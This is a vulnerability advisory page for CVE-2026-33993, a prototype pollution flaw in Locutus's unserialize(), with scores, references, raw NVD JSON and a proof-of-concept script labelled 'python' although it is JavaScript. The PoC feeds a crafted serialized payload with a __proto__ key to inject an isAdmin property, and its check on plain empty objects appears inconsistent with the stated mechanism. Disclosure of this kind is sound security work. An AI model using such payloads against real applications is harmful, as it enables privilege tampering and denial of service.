CVE-2026-33993

Description

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied. Version 3.0.25 patches the issue.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:locutus:locutus:*:*:*:*:*:node.js:*:* - VULNERABLE

Locutus < 3.0.25

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-33993
// Demonstrating prototype pollution via unserialize()

const { unserialize } = require('locutus/php/var');

// Malicious PHP serialized payload
// Structure: array with 1 element, key "__proto__", value is object { "isAdmin": true }
// PHP serialized string: a:1:{s:8:"__proto__";a:1:{s:7:"isAdmin";b:1;}}
const payload = 'a:1:{s:8:"__proto__";a:1:{s:7:"isAdmin";b:1;}}';

console.log('[*] Testing for CVE-2026-33993 in Locutus');
console.log('[+] Before unserialize:');
console.log('    emptyObject.isAdmin:', ({}).isAdmin); // Expected: undefined

try {
    // Trigger the vulnerability
    unserialize(payload);

    console.log('[+] After unserialize:');
    console.log('    emptyObject.isAdmin:', ({}).isAdmin); // Expected: true (if vulnerable)

    if (({}).isAdmin === true) {
        console.log('[!] SUCCESS: Prototype pollution detected!');
    } else {
        console.log('[!] FAILED: Target appears patched.');
    }
} catch (e) {
    console.error('[!] Error executing PoC:', e.message);
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33993
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33993
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33993/
[4] VulDB https://vuldb.com/cve/CVE-2026-33993
[5] https://github.com/locutusjs/locutus/commit/345a6211e1e6f939f96a7090bfeff642c9fcf9e4
[6] https://github.com/locutusjs/locutus/pull/597
[7] https://github.com/locutusjs/locutus/releases/tag/v3.0.25
[8] https://github.com/locutusjs/locutus/security/advisories/GHSA-4mph-v827-f877

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33993", "sourceIdentifier": "[email protected]", "published": "2026-03-27T23:17:14.237", "lastModified": "2026-04-01T13:22:49.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied. Version 3.0.25 patches the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:locutus:locutus:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.0.25", "matchCriteriaId": "0F339EAA-6928-4474-AEC9-654C3C19966D"}]}]}], "references": [{"url": "https://github.com/locutusjs/locutus/commit/345a6211e1e6f939f96a7090bfeff642c9fcf9e4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/locutusjs/locutus/pull/597", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/locutusjs/locutus/releases/tag/v3.0.25", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-4mph-v827-f877", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}